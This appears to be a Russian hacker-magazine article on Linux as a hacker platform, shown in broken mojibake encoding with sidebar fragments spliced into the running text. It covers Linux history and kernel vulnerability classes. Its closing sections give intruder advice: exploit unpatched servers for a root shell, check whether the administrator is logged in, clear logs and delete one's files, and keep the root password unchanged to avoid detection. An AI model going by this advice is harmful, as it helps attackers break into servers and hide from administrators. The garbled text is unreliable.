ïðîòÿæåíèè ýòèõ ëåò íàðàùèâàþòñÿ è
âîçìîæíîñòè ñèñòåìû, ÷òî ÿâëÿåòñÿ
áîëüøèì ïëþñîì. Îäíàêî êà÷åñòâåí-
íûå óëó÷øåíèÿ ñòðóêòóðû íå óñïåâà-
ëè (è íå óñïåâàþò) çà ðîñòîì åå âîç-
ìîæíîñòåé. È ïîýòîìó ìîæíî óòâåðæ-
äàòü, ÷òî ñîâðåìåííûå âàðèàíòû UNIX
ñòðóêòóðèðîâàíû íå èäåàëüíî. Ðàñ-
ñìîòðèì îñíîâíûå òèïû óÿçâèìîñòåé.

Ïåðåïîëíåíèå ááóôåðà 
(buffer ooverflow)

Îäíà èç ñàìûõ ðàñïðîñòðàíåííûõ
óÿçâèìîñòåé ïðîãðàììíîãî îáåñïå÷å-
íèÿ è ÎÑ â ÷àñòíîñòè. Ýòó óÿçâèìîñòü
âûçûâàåò íåáîëüøàÿ îøèáêà, ïîçâî-
ëÿþùàÿ, îäíàêî, òâîðèòü ÷óäåñà.
Îøèáêà ïåðåïîëíåíèÿ áóôåðà ñëó÷à-
åòñÿ, åñëè â ïðîãðàììå ïðîèñõîäèò êî-
ïèðîâàíèå äàííûõ áåç ïðîâåðêè ñâî-
áîäíîãî ìåñòà â ïóíêòå íàçíà÷åíèÿ
(áóôåðå). Êîãäà äàííûõ ñëèøêîì ìíî-
ãî, ïðîèñõîäèò ïåðåïîëíåíèå è èí-
ôîðìàöèÿ ïîïàäàåò çà ãðàíèöû áóôå-
ðà. Óìåëîå èñïîëüçîâàíèå ýòîãî ôàê-
òà ïîçâîëÿåò çàïóñêàòü ïðîèçâîëü-
íûé êîä ñ ïðàâàìè ïåðåïîëíåííîãî
ïðèëîæåíèÿ (òî åñòü âïîëíå ìîæåò
áûòü, ÷òî ñ ïðàâàìè àäìèíèñòðàòîðà).
Ñóùåñòâóåò îãðîìíîå êîëè÷åñòâî òà-
êîãî ðîäà óÿçâèìîñòåé. Ãëàâíàÿ ïðè-
÷èíà óÿçâèìîñòè - èñïîëüçîâàíèå íå-

êîòîðûõ ôóíêöèé ñòàíäàðòíîé áèáëè-
îòåêè ÿçûêà Ñ, íå ïðîâåðÿþùèõ ðàç-
ìåðû ñâîèõ àðãóìåíòîâ (íàïðèìåð str-
cpy, strcat, gets èëè sprintf), à *nix-ñèñ-
òåìû (â òîì ÷èñëå è áîëüøàÿ ÷àñòü
ÿäðà), êàê òû ïîìíèøü, ïî÷òè öåëè-
êîì íàïèñàíû íà C. Àêòóàëüíîñòü
ýòîé óÿçâèìîñòè äîêàçûâàåò õîòÿ áû
ïîñëåäíèé íàéäåííûé áàã. Â UNIX 9.x
íàéäåíû ìíîæåñòâåííûå ïåðåïîëíå-
íèÿ áóôåðà â ôóíêöèÿõ strcpy() è
p_stcopy(), ïîçâîëÿþùèå ëîêàëüíîìó
ïîëüçîâàòåëþ ïåðåïèñûâàòü â ñòåêå
çíà÷åíèå ðåãèñòðà eip, ÷òî ìîæåò
ïðèâåñòè ê âûïîëíåíèþ ïðîèçâîëü-
íîãî êîäà c root-ïðàâàìè (ñì. www.secu-
ritylab.ru).

Óÿçâèìîñòü ññîñòîÿíèÿ îîïåðàöèè 
Äàííàÿ ïðîáëåìà õàðàêòåðíà êàê

äëÿ *nix, òàê è äëÿ Windows. Â íèêñàõ
ýòà äûðêà îáíàðóæèâàåòñÿ â ÿäðå è
íå èìååò òàêîãî øèðîêîãî ðàñïðîñòðà-
íåíèÿ, êàê ïåðåïîëíåíèå áóôåðà.
Ïðàâèëüíî èñïîëüçóÿ äàííóþ óÿçâè-
ìîñòü, ìîæíî èçìåíÿòü ôàéëû â ñèñ-
òåìå. Ñ ïåðâîãî âçãëÿäà êàæåòñÿ, ÷òî
òàêàÿ âîçìîæíîñòü íå ïðåäñòàâëÿåò
îñîáîé öåííîñòè, îäíàêî ïîäîáíûì
îáðàçîì ìîãóò áûòü ïîëó÷åíû ïîâû-
øåííûå ïðèâèëåãèè ïðè ïîìîùè ìî-
äèôèêàöèè êðèòè÷åñêèõ ôàéëîâ òèïà
/etc/passwd è äð.

Åñëè âûøåïåðå÷èñëåííûå ïðîáëå-
ìû ÿäðà íîñÿò «õðîíè÷åñêèé» õàðàê-
òåð, òî ñëåäóþùèå óÿçâèìîñòè � ðàçî-
âûå, õàðàêòåðíûå äëÿ îïðåäåëåííîãî
êëîíà è åãî âåðñèè:
1. òàáëèöà ïåðåíàïðàâëåíèÿ ìîæåò

áûòü ïîäìåíåíà óäàëåííûìè ïîëüçî-
âàòåëÿìè, åñëè ïîñûëàòü ïàêåòû ñ
ïîääåëàííûì èñõîäíûì àäðåñîì;
2. /proc/tty/driver/serial ðàñêðûâàåò

òî÷íîå ÷èñëî ââåäåííûõ ñèìâîëîâ
÷åðåç ïîñëåäîâàòåëüíûå ññûëêè. Â
ðåçóëüòàòå ëîêàëüíûé àòàêóþùèé ìî-
æåò îïðåäåëèòü äëèíó ïàðîëÿ è çàäå-
ðæêó ìåæäó íàæàòèÿìè êëàâèø â òå-
÷åíèå ââîäà ïàðîëÿ;
3. ëîêàëüíûé ïîëüçîâàòåëü ìîæåò

ýêñïëóàòèðîâàòü óÿçâèìîñòü ñîñòîÿ-
íèÿ îïåðàöèè ÷òåíèÿ ôàéëà â ñèñòåì-
íîì âûçîâå execve(), ÷òîáû àâàðèéíî
çàâåðøèòü ðàáîòó ñèñòåìû; 
4. óÿçâèìîñòü â ïðîãðàììå îáðà-

áîòêè TCP-îïöèé âõîäÿùèõ ïàêåòîâ.
Ïðè÷åì óÿçâèìîñòü äåéñòâèòåëüíà,
åñëè â ïðàâèëàõ âñòðîåííîãî ôàåðâî-
ëà ïðèìåíÿåòñÿ tcp-option. Âî âñåì âè-
íîâàòà ôóíêöèÿ tcp_find_option, êîòî-
ðàÿ íåêîððåêòíî îáðàáàòûâàåò ïîëå
äëèíû ïàêåòà. Åñëè ýòî çíà÷åíèå
áîëüøå 127, ïðîãðàììà çàöèêëèâàåò-
ñÿ. Òàêèì îáðàçîì, ìîæíî èñ÷åðïàòü
ñèñòåìíûå ðåñóðñû è âûçâàòü îòêàç â
îáñëóæèâàíèè (DoS).

Èòàê, ìû âèäèì, ÷òî ÿäðà ñèñòåì *nix
óÿçâèìû. Íåêîòîðûå óÿçâèìîñòè âîç-
íèêàþò èç-çà íåïîñðåäñòâåííûõ îøè-
áîê ïðè ðåàëèçàöèè. Äðóãèå � ïëîäû
èçíà÷àëüíî íåïðàâèëüíîé ñòðóêòóðû
ÿäðà. E
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Dr_Vint (vint@vpost.ru)

L inux - ñèñòåìà, íàïèñàííàÿ õàêåðàìè è äëÿ õàêåðîâ? Ïî÷åìó íå FreeBSD, íå OpenBSD, íå Windows, à èìåííî Linux
ïðèòÿãèâàåò õàêåðîâ âñåãî ìèðà? ×òî ìîæíî äåëàòü è ÷åãî äåëàòü íåëüçÿ íà çàõâà÷åííîé ìàøèíå?

LINUX - «ÏÐÈÒÎÍ»
ÕÀÊÅÐÎÂ
ÊÎÐÎÒÊÎ Î ÃËÀÂÍÎÌ

ÈÑÒÎÐÈß 
Øåë äàëåêèé 1991-é

ãîä. Íà ðûíêå ðåøåíèé
äëÿ äîìàøíèõ ïîëüçî-
âàòåëåé íàáëþäàëàñü

ìîíîïîëèÿ Microsoft. Windows 3.1 è
DOS ïðàâèëè ìèðîì ;-). Êîíå÷íî, íàõî-
äèëèñü ýíòóçèàñòû, èñïîëüçóþùèå
äðóãèå ñèñòåìû, íî èõ áûëî î÷åíü ìà-
ëî. Êîìïüþòåðû óæå ñòàëè äîñòóïíû
ìíîãèì, è ðîñëî ÷èñëî ïðîãðàììèñòîâ,
ãîòîâûõ ðèíóòüñÿ â áîé çà èäåþ. Áëà-
ãîäàðÿ Fido õàêåðû ñ ðàçíûõ êîíöîâ
ñâåòà óâåðåííî äåðæàëè ñâÿçü ìåæäó
ñîáîé è èñêàëè ïðèìåíåíèå ñâîåìó
èíòåëëåêòó. Ìèð êàê áóäòî æäàë ÷åãî-
òî... À òåì âðåìåíåì ìàëî êîìó èçâåñò-
íûé ñòóäåíò ôàêóëüòåòà êîìïüþòåð-
íûõ íàóê Õåëüñèíñêîãî óíèâåðñèòåòà
Ëèíóñ Òîðâàëüäñ èçó÷àë îïåðàöèîí-
íûå ñèñòåìû, ñîâðåìåííûå êîìïüþòå-
ðû, ÿçûêè ïðîãðàììèðîâàíèÿ, ïðîñ-
ìàòðèâàë ìåãàáàéòû èñõîäíûõ êîäîâ.
Îí ó÷èëñÿ. Êîãäà ïðèøëî æåëàíèå ðà-
áîòàòü, ó Ëèíóñà óæå áûë îãðîìíûé
çàïàñ çíàíèé ïî ìíîãèì àñïåêòàì IBM
PC. Òàê ñëîæèëîñü, ÷òî íè îäíà èç ñó-
ùåñòâóþùèõ ñèñòåì íå óäîâëåòâîðÿ-
ëà çàïðîñîâ õàêåðà, è îí ðåøèë ïè-
ñàòü ñâîþ. Òåì áîëåå Ëèíóñ ñ÷èòàë,
÷òî ïîëó÷åííûé îïûò ïîìîæåò åìó
íà÷àòü è çàëîæèòü áàçèñ ÿäðà. È
äåéñòâèòåëüíî, ïîñëå ìåñÿöåâ óïîð-
íîé è êðîïîòëèâîé ðàáîòû Fido-ñîîá-
ùåñòâó áûëè ïðåäñòàâëåíû èñõîäíè-
êè ÿäðà, äëÿ ñáîðêè êîòîðîãî èñïîëü-
çîâàëàñü ÎÑ Minux. Ýòà ñàìàÿ ïåðâàÿ
âåðñèÿ 0.0.1 ÎÑ Linux ñòàëà òîé "êðè-
òè÷åñêîé ìàññîé", êîòîðàÿ ñìîãëà ðàç-
áóäèòü ïðîãðàììèñòîâ è õàêåðîâ îò
ñïÿ÷êè è îðãàíèçîâàòü ðàáîòó. Êîä
ÿäðà íà÷àë ðàñòè è ðàçâèâàòüñÿ. ×óòü
ïîçæå äîáàâëÿåòñÿ çàãðóç÷èê, ñâîÿ
ôàéëîâàÿ ñèñòåìà è îñíîâíûå óòèëè-
òû. Â ðåçóëüòàòå, ìû èìååì òî, ÷òî íà-
çûâàåòñÿ ìîäíûì ñëîâîì "Linux".

ÀÍÀËÈÇ ÇÀÐÎÆÄÅÍÈß 
ÑÈÑÒÅÌÛ

Òåáå, íàâåðíî, èíòåðåñíî, äëÿ ÷å-
ãî ÿ òàê âîëüíî è î÷åíü êðàòêî ðàñ-
ñêàçàë èñòîðèþ Linux? Ýòî âñòóïëå-
íèå äîëæíî ïîäâåñòè íàñ ê ãëàâíîìó
âûâîäó: ÿäðî ÎÑ Linux íàïèñàíî õà-

êåðàìè è äëÿ õàêåðîâ. Äåéñòâèòåëü-
íî, îñíîâàííûé ïðîãðàììèñòîì-îäè-
íî÷êîé ïðîåêò ïîïàë â ðóêè îãðîìíî-
ãî êîëè÷åñòâà ãðàìîòíûõ ïðîãðàì-
ìèñòîâ, êîòîðûå õîòåëè èñïîëüçî-
âàòü ñâîé PC ñ ìàêñèìàëüíîé îòäà-
÷åé. Äëÿ íèõ êîìïüþòåð íå áûë
èíñòðóìåíòîì - äëÿ íèõ ýòî öåëü, à
íå ñðåäñòâî. Äóõ ñâîáîäû è òâîð÷å-
ñòâà ïðîíèçàë ñèñòåìó. Ëèíóñ ïðåäó-
ãàäàë òàêîé õîä ðàçâèòèÿ è âûïóñòèë
ñâîå òâîðåíèå ïîä îòêðûòîé ëèöåí-
çèåé. Èìåííî ýòè êëþ÷åâûå ìîìåíòû
ñôîðìèðîâàëè âñþ ÎÑ.

LINUX ÑÅÃÎÄÍß
Ñåé÷àñ ìû íàáëþäàåì áóì ïîïó-

ëÿðíîñòè ñèñòåìû Linux. Èíòåðíåò
êðè÷èò, ÷òî ýòî ëó÷øàÿ ÎÑ êàê äëÿ
ñåðâåðîâ, òàê è äëÿ äîìàøíåãî èñ-
ïîëüçîâàíèÿ. Íî òàê ëè ýòî íà ñàìîì
äåëå? Äåéñòâèòåëüíî, ñåé÷àñ
GNU/Linux ïðåäñòàâëÿåò ñîáîé î÷åíü
ìîùíóþ è íàäåæíóþ ñèñòåìó ñ îãðîì-
íûì êîëè÷åñòâîì ïðèëîæåíèé. Ïðè-
÷åì ýòî âñå äîñòóïíî àáñîëþòíî áåñï-
ëàòíî è â âèäå èñõîäíûõ êîäîâ. Íî
ïîâñåìåñòíîìó âíåäðåíèþ Linux ìå-
øàåò òî, ÷òî ïîëüçîâàòåëü äîëæåí
èìåòü æåëàíèå ó÷èòüñÿ. À òàêèõ ìà-
ëî... Íî íå ïàñóþùèå ïåðåä òðóäíîñ-
òÿìè èíîãäà ïîëíîñòüþ ïåðåõîäÿò íà
Linux. Òàêèì îáðàçîì, ñèñòåìà ïîäòâå-
ðæäàåò ñâîå çâàíèå ÎÑ äëÿ õàêåðîâ.

×ÒÎ ÕÀÊÅÐÛ ÍÀÕÎÄßÒ Â LINUX 
Òàê ïî÷åìó æå èìåííî Linux ïðè-

òÿãèâàåò õàêåðîâ âñåãî ìèðà? Îáúÿñ-
íèòü ýòî ëó÷øå âñåãî, ñðàâíèâàÿ ýòó
ÎÑ ñ äðóãèìè ñèñòåìàìè. Íà÷íåì, ïî-
æàëóé, ñ ñàìîé áëèçêîé ÎÑ - FreeBSD.
Êàê òû çíàåøü, ýòî òîæå ñâîáîäíî
ðàñïðîñòðàíÿåìàÿ, POSIX-ñîâìåñòè-
ìàÿ, äîñòóïíàÿ â èñõîäíûõ êîäàõ ñèñ-
òåìà, òî åñòü îíà èìååò âñå îñíîâíûå
ïðåèìóùåñòâà Linux. È, êðîìå ýòîãî, ó

íåå åñòü áîëüøîé ïëþñ: îíà ðàçðàáà-
òûâàëàñü íå ñ íà÷àëà äåâÿíîñòûõ, à
ãîðàçäî ðàíüøå, ïðè ýòîì î÷åíü
íåãëóïûìè ëþäüìè. Êàæåòñÿ, âñå óêà-
çûâàåò íà ÿâíîå ïðåâîñõîäñòâî
FreeBSD. Íî åñòü îäíî áîëüøîå íî:
ðàçâèâàòü è äîïîëíÿòü ýòó BSD-ñèñòå-
ìó ìîãóò òîëüêî èçáðàííûå ðàçðàáîò-
÷èêè ÿäðà. À çíà÷èò, äàëåêî íå êàæ-
äûé æåëàþùèé ïðîãðàììèñò ìîæåò
îòïðàâèòü ñâîé ó÷àñòîê êîäà äëÿ
âêëþ÷åíèÿ â ÎÑ. Ñ Linux âñå ïðîùå:
åñëè òû ïðîôè, òî òâîÿ ðàáîòà áóäåò
îöåíåíà ïî äîñòîèíñòâó è äîáàâëåíà
â ÿäðî, ïðè óñëîâèè ÷òî ýòî äåéñòâè-
òåëüíî ïîëåçíàÿ íàðàáîòêà.

Ïðè÷åì äèñòðèáóòèâ íå áóäåò îòï-
ðàâëåí íà ðåàëèçàöèþ äî òåõ ïîð, ïî-
êà ìíîæåñòâî áåòà-òåñòåðîâ ïî âñåìó
ìèðó íå çàÿâèò îá îòñóòñòâèè îøèáîê
â ðåëèç-êàíäèäàòå. Òàêèì îáðàçîì,
FreeBSD âûïóñêàåòñÿ äîñòàòî÷íî ðåä-
êî, à çíà÷èò, âñå íîâûå èäåè âêëþ÷à-
þòñÿ â íåå òîëüêî ïîñëå òùàòåëüíîãî
òåñòèðîâàíèÿ. Â òî âðåìÿ êàê õàêåðû,
äâèãàÿ ïðîãðåññ, ïîä÷èíÿþò åãî ñåáå -
èñïîëüçóþò ñâîè ðàçðàáîòêè â ïîâ-
ñåäíåâíîé ðàáîòå, òåì ñàìûì âñåãäà
îñòàâàÿñü "íà îñòðèå àòàêè". Â èòîãå
FreeBSD íå ñòàëà "ïðèòîíîì" ãåíèåâ.
Àíàëîãè÷íî îáñòîÿò äåëà è ñ
OpenBSD. Õîòü ýòà ïëàòôîðìà áîëåå
îòêðûòà, íî åå ñåêüþðíîñòü è ïîñòî-
ÿííûé àóäèò íå äàþò åé âîçìîæíîñòè
ðàçâèâàòüñÿ âìåñòå ñ êîìïüþòåðíûì
ìèðîì. Ïîýòîìó è ýòà ÎÑ íå ñòàëà
ïðèñòàíèùåì ñâîáîäîìûñëÿùèõ òà-
ëàíòîâ ;-(. Î Windows ãîâîðèòü êàê-òî
äàæå íå õî÷åòñÿ� Ñèñòåìà, îðèåíòè-
ðîâàííàÿ íà äîìîõîçÿéêó, íå ìîæåò
áûòü ãèáêîé, óäîáíîé è èíòåðåñíîé
êîìïüþòåðíîìó àíäåãðàóíäó. Îñòàëü-
íûå ñèñòåìû ïðàêòè÷åñêè íå ïðåäñ-
òàâëÿþò íèêàêîãî èíòåðåñà: ëèáî îíè
ìàëî ðàñïðîñòðàíåíû, ëèáî çàêðûòû
è íåäîñòóïíû äëÿ ìîäèôèêàöèè. Òàê
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Ïðè ñîçäà-
íèè ñèñòå-
ìû Ëèíóñ
èñïîëüçîâàë
åäèíñòâåí-
íûé èñòî÷-
íèê - êíèãó
Ìàðèñà Áà-
õà "Ðàçðà-
áîòêà ÎÑ
UNIX".
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Ðåøåíèå î âûïóñêå íîâîãî ðåëèçà Linux
ïðèíèìàåòñÿ èñêëþ÷èòåëüíî

öåíòðàëèçîâàííî.



÷òî æå ïîëó÷èò õàêåð, âûáðàâ äëÿ ñå-
áÿ ÎÑ Linux? Ïðåæäå âñåãî, ñâîáîäó -
ñâîáîäó âûáîðà, ñâîáîäó òâîð÷åñòâà,
ñâîáîäó îò ìîíîïîëèé è ðåãëàìåíòîâ
ïðîèçâîäèòåëåé. È óæå òîëüêî ïîòîì
î÷åíü ñèëüíóþ ñåòåâóþ ÎÑ.

ÏÎ×ÅÌÓ ÀÄÌÈÍÀÌ 
ÑÈÌÏÀÒÈ×ÍÀ ÝÒÀ ÑÈÑÒÅÌÀ

Àäìèíèñòðàòîðû âñå ÷àùå âûáè-
ðàþò Linux äëÿ ñâîèõ äåòèù. È ýòî ëåã-
êî îáúÿñíèòü. Àäìèí ïîëó÷àåò, âî-ïåð-
âûõ, î÷åíü ñòàáèëüíóþ ÎÑ. Âî-âòîðûõ,
ïîñòîÿííîå îáíîâëåíèå è ñîâåðøåí-
ñòâîâàíèå íå òîëüêî ñèñòåìû, íî âñåãî
ñåòåâîãî ÏÎ. Ïîëíûé êîíòðîëü íàä
îïåðàöèîííîé ñèñòåìîé ïðèâëåêàåò
ãðàìîòíûõ ñèñòåìùèêîâ, ïðàâäà, äîñ-
òè÷ü ýòîãî óäàåòñÿ òîëüêî â òàêèõ
äèñòðèáóòèâàõ, êàê Gentoo èëè LFS, íî
òîòàëüíàÿ âëàñòü íàä ñèñòåìîé ðåàëü-
íà. Îòñóòñòâèå âñåâîçìîæíûõ "çàêëà-
äîê" è "ìåòîê", àáñîëþòíàÿ ïðîçðà÷-
íîñòü ìåæñåòåâîãî âçàèìîäåéñòâèÿ
ïîçâîëÿþò Linux-àäìèíàì ñïàòü ñïî-
êîéíî. È âñå ýòî äîïîëíÿåòñÿ îãðîì-
íûì êîëè÷åñòâîì äîêóìåíòàöèè, êàê â
èíòåðíåòå, òàê è â áóìàæíîì âàðèàíòå,
êàê íà àíãëèéñêîì, òàê è íà ðóññêîì
ÿçûêå. Ýòîò ñïèñîê ïðåèìóùåñòâ Linux
íàä äðóãèìè *nix-ñèñòåìàìè ìîæíî
ïðîäîëæàòü äîâîëüíî äîëãî. Íî! Ðàç
åñòü àäìèíû è õàêåðû, òî äîëæíû
áûòü àòàêè è âçëîìû, íå òàê ëè? Õîòÿ
ñèñòåìà î÷åíü ñòàáèëüíà è ïðîäóìàí-
íà, èíîãäà ìîæíî ñëûøàòü îá óäà÷íûõ
âçëîìàõ Linux-õîñòîâ. Êòî æå âèíîâàò
â òîì, ÷òî ÎÑ îòäàåòñÿ â ðóêè õàêåðà?
Ïîïðîáóåì ðàçîáðàòüñÿ â ýòîì.

ÂÇËÎÌ LINUX. 
ÊÀÊ ÒÀÊÎÅ ÁÛÂÀÅÒ?

×àùå âñåãî âçëîìû è óñïåøíûå
àòàêè íà Linux ìîæíî îáúÿñíèòü ëè-
áî íåãðàìîòíîñòüþ, ëèáî ëåíüþ àä-
ìèíà. Ãðàìîòíî íàñòðîåííàÿ è âîâðå-
ìÿ îáíîâëÿåìàÿ ñèñòåìà ïðàêòè÷åñ-
êè íåóÿçâèìà. 

Êàêèå âîçìîæíû àòàêè? Ñíà÷àëà ïî-
ãîâîðèì î ñàìîé ïðîñòîé. Ðåàëèçîâàòü
âçëîì íåñëîæíî, äîñòàòî÷íî ïî÷àùå
ïîñåùàòü security-ñàéòû è îòñëåæè-
âàòü èçìåíåíèÿ íà top-ñòðàíèöàõ
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Äåòèùå õà-
êåðà-îäè-
íî÷êè óãðî-
æàåò ìîíî-
ïîëèè ñîôò-
âåðíîãî ãè-
ãàíòà.

Linux - ýòî
ñàìàÿ îòê-
ðûòàÿ è
ñâîáîäíàÿ
ñèñòåìà, íî
ïðè ýòîì
ÿäðî ïîòåí-
öèàëüíî íà-
ðóøàåò
ìíîæåñòâî
ïàòåíòîâ,
ïî ìíåíèþ
íåêîòîðûõ
êîìïàíèé
(íàïðèìåð,
íåáåçûçâå-
ñòíîé SCO).

Îñìîòðèìñÿ íåìíîãî ïî ïðîöåññàì

Óäîáíàÿ øòóêà mc... Íî îïàñíàÿ
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Êñòàòè, î ëîãàõ�

Äàæå íåâèííîå ñîçäàíèå ïàïêè â
êàòàëîãå /tmp ìîæåò âûäàòü àòàêóþùåãî

(ýòî î÷åíü ïðîñòî ðåàëèçóåòñÿ
âñòðîåííûìè ñðåäñòâàìè àóäèòà ÔÑ).



Íåêîòîðûå
àäìèíû
èñïîëüçóþò
ñêðèïò,
êîòîðûå
ïðè âõîäå
root`a â
ñèñòåìó,
îòïðàâëÿåò
ñîîáùåíèå
àäìèíó íà
ìîáèëó.

ýêñïëîèòîâ. Ïðè îáíàðóæåíèè íîâîé
óäàëåííîé óÿçâèìîñòè ñðàçó æå íà÷è-
íàòü èñêàòü ýêñïëîèò, à, ïîêà åãî åùå
íå ðàçðàáîòàëè, èññëåäîâàòü ñåðâåðà
íà ïðåäìåò ýòîé óÿçâèìîñòè. Êîíå÷íî,
â òâîåì ñåòåâîì àíàëèçàòîðå ýòîé óÿç-
âèìîñòè åùå íåò, è ïîýòîìó ïðèäåòñÿ
ïîðàáîòàòü ãîëîâîé: ïðîâåñòè ïîëíîå
ñêàíèðîâàíèå õîñòà íà ïðåäìåò âûÿñ-
íåíèÿ âåðñèè ñåðâèñîâ. Ïðè îáíàðó-
æåíèè áàæíîãî ðåëèçà îæèäàòü ñâå-
æåíüêîãî ýêñïëîèòà è óñïåâàòü áðàòü
root-øåëë. Âîîáùå, ëó÷øå íåìíîãî îï-
òèìèçèðîâàòü ïðîöåññ ïîääåðæàíèÿ
òåáÿ â êóðñå âñåõ èçìåíåíèé íà securi-
ty-ôðîíòå. Åñòü äâà âàðèàíòà: ïðîñòîé
- ïîäïèñàòüñÿ íà ðàññûëêó, ñëîæíûé -
íàïèñàòü ñêðèïò, êîòîðûé áóäåò îòñëå-
æèâàòü èçìåíåíèÿ íà çàäàííûõ òîáîé
Web-ðåñóðñàõ ïî IT-áåçîïàñíîñòè, à â
ñëó÷àå îáíîâëåíèÿ àâòîìàòè÷åñêè
ñêèäûâàòü òåáå ñâåæà÷îê íà ìûëî èëè
ìîáèëüíèê (äëÿ ýòèõ öåëåé ìîæíî èñ-
ïîëüçîâàòü ãîòîâûé ñîôò, î êîòîðîì
ìû íåîäíîêðàòíî ïèñàëè). Àòàêà íà
íåçíàíèå ñèñòåìùèêà ãîðàçäî ñëîæ-
íåå. Õàêåð äîëæåí çíàòü Linux è åãî
ñåðâèñû ãîðàçäî ëó÷øå àäìèíèñòðàòî-
ðà õîñòà, îí äîëæåí ïîíèìàòü âñþ ìî-
äåëü âçàèìîäåéñòâèÿ ñåòåâûõ êîìïî-
íåíòîâ ìåæäó ñîáîé è ñ ñèñòåìîé. Ïðî-
ôåññèîíàëüíûå õàêåðû ðàáîòàþò
èìåííî òàê: èçó÷àþò ÎÑ â ñîâåðøåí-
ñòâå, àòàêóþò ñåðâåðà ðåäêî, íî ìåòêî.
Óñïåõ îïðåäåëÿåòñÿ ñîîòíîøåíèåì
òâîèõ IT-çíàíèé è IT-çíàíèé àäìèíèñò-
ðàòîðà. Ñîáñòâåííî, áîëüøå ïðèíöè-
ïèàëüíûõ ñïîñîáîâ àòàêè íåò. Âñå îñ-
òàëüíûå âàðèàíòû ïðåäñòàâëÿþò ñî-
áîé ìîäèôèêàöèè ýòèõ äâóõ.

×ÒÎ ÌÎÆÍÎ ÄÅËÀÒÜ 
ÑÎ ÂÇËÎÌÀÍÍÎÉ ÑÈÑÒÅÌÎÉ

Ñàìîå ïåðâîå, ÷òî ñëåäóåò ñäå-
ëàòü ïðè óäà÷íîì âõîäå, - ýòî ïðîâå-
ðèòü, íåò ëè ñåé÷àñ àäìèíà â ñèñòåìå.
Òàêèì îáðàçîì, åñëè root óæå çàðåãè-
ñòðèðîâàí, òî õàêåðó ëó÷øå óéòè.
Äåéñòâîâàòü äàëüøå íóæíî òîëüêî â
òîì ñëó÷àå, åñëè root íà ñâîåì ðàáî-

÷åì ìåñòå íå îáíàðóæåí ;-). Ñëåäóþ-
ùèé ýòàï - ðàçîáðàòüñÿ ñ ñèñòåìîé ëî-
ãèðîâàíèÿ è ðåãèñòðàöèè ïîëüçîâàòå-
ëåé ñåðâåðà. ß çíàþ àäìèíèñòðàòî-
ðîâ, êîòîðûå òàê îïàñàþòñÿ çà ñâîé
ñåðâåð, ÷òî ñîçäàëè ñêðèïò, êîòîðûé
ïðè âõîäå root â ñèñòåìó ñðàçó îòï-
ðàâëÿåò àäìèíèñòðàòîðó ñîîáùåíèå
íà ìîáèëüíèê, â êîòîðîì ñîäåðæèòñÿ
âðåìÿ âõîäà, IP-àäðåñ, ñ êîòîðîãî ïðî-
èçîøëà ðåãèñòðàöèÿ, è íîìåð âèðòó-
àëüíîé êîíñîëè, íà êîòîðîé ðàáîòàåò
ñåé÷àñ ñóïåðþçåð. Êðîìå ýòîãî, åñëè
íå áóäåò ïîäòâåðæäåíà ðåãèñòðàöèÿ,
òî ñåàíñ çàâåðøèòñÿ ÷åðåç îïðåäå-
ëåííûé ïðîìåæóòîê âðåìåíè! Ðåàëè-
çîâàíî ýòî ñ ïîìîùüþ ñëåäóþùåãî
ñêðèïòà: ïðè âõîäå îí ñîçäàåò îïðåäå-
ëåííûé ôàéë, è, åñëè îí íå áóäåò óäà-
ëåí ÷åðåç íåêîòîðîå âðåìÿ, ïðîãðàì-
ìà ñ÷èòàåò, ÷òî ïðîèçîøåë âçëîì ñåð-
âåðà è ñêèäûâàåò ïñåâäîàäìèíà ñ òåð-
ìèíàëà, îòïðàâëÿåò ïðåäóïðåæäåíèå
î êðèòè÷åñêîé ñèòóàöèè íàñòîÿùåìó
àäìèíèñòðàòîðó íà ìîáèëüíèê. Ïîýòî-
ìó ñðàçó ïðè âõîäå íóæíî âíèìàòåëü-
íî èçó÷èòü ñîäåðæàíèå äîìàøíåãî
êàòàëîãà è ïðîñìîòðåòü âñå ôàéëû,
îòâå÷àþùèå çà ðåãèñòðàöèþ. Èõ èìå-
íà çàâèñÿò îò îáîëî÷êè-èíòåðïðåòàòî-
ðà. Çàòåì - èçó÷åíèå ëîã-ôàéëîâ è èõ
î÷èñòêà. Ýòî ïåðâûå øàãè. ß íå ñëó-
÷àéíî òàê ïîäðîáíî îïèñàë îäíó èç
ëîâóøåê àäìèíèñòðàòîðà - àòàêóþùèé
äîëæåí áûòü ãîòîâ êî âñåìó è î÷åíü
õîðîøî çíàòü àòàêóåìóþ ÎÑ. Áåç ýòî-
ãî ëþáîé àäìèí ñìîæåò ðàíî èëè
ïîçäíî âû÷èñëèòü è íàêàçàòü âçëîì-
ùèêà. Ïðè ëþáûõ äåéñòâèÿõ â ñèñòåìå
ñëåäóåò àíàëèçèðîâàòü ðåçóëüòàò
ïðåäåëüíî âíèìàòåëüíî.

Ïîýòîìó åñëè òû ñîçäàåøü ðàáî÷èé
êàòàëîã äëÿ ñåáÿ, òî ïîñëå îêîí÷àíèÿ
ñðàçó óäàëÿé è ÷èñòè ëîãè âñåõ îïåðà-
öèé. Ñàìîå ãëàâíîå - ýòî íàó÷èòüñÿ
äóìàòü, êàê àäìèíèñòðàòîð õîñòà, ïðè-
÷åì êàê ãðàìîòíûé àäìèíèñòðàòîð. Åñ-
ëè âçëîìùèê íåäîîöåíèâàåò ïðîòèâ-
íèêà, ðàíî èëè ïîçäíî îí áóäåò ïîé-
ìàí. Ïîýòîìó áäè!

×ÅÃÎ ÍÅËÜÇß ÄÅËÀÒÜ ÑÎ
ÂÇËÎÌÀÍÍÎÉ ÑÈÑÒÅÌÎÉ

Íèêîãäà íå ñëåäóåò ìåíÿòü ïàðîëü
íà ó÷åòíóþ çàïèñü root. Ýòî ñàìîå
áîëüøîå æåëàíèå ìàëîãðàìîòíûõ
ñêðèïòêèäèñîâ. Äóìàÿ, ÷òî, ñìåíèâ
ðóò-ïàðîëü, îíè çàáëîêèðóþò äîñòóï ê
ñåðâåðó çàêîííîãî àäìèíèñòðàòîðà,
îíè î÷åíü ãëóáîêî îøèáàþòñÿ. Åñëè
àäìèí íå ñìîæåò ñ óòðà âîéòè â ñèñòå-
ìó - Linux íå çàõî÷åò îïîçíàòü åãî ïà-
ðîëü, òî âîçìîæíû äâà âàðèàíòà. Åñ-
ëè îïûòà è çíàíèé íåìíîãî, òî îí ïîñ-
÷èòàåò, ÷òî ïðîñòî çàáûë êëþ÷. Åñëè
æå àäìèí - ìàòåðûé ìàëûé, òî îí ñðà-

çó æå óçðååò âî âñåì àòàêó è áóäåò
âîññòàíàâëèâàòü ïàðîëü, ïàðàëëåëü-
íî óñèëèâ çàùèòó äî òàêîãî óðîâíÿ,
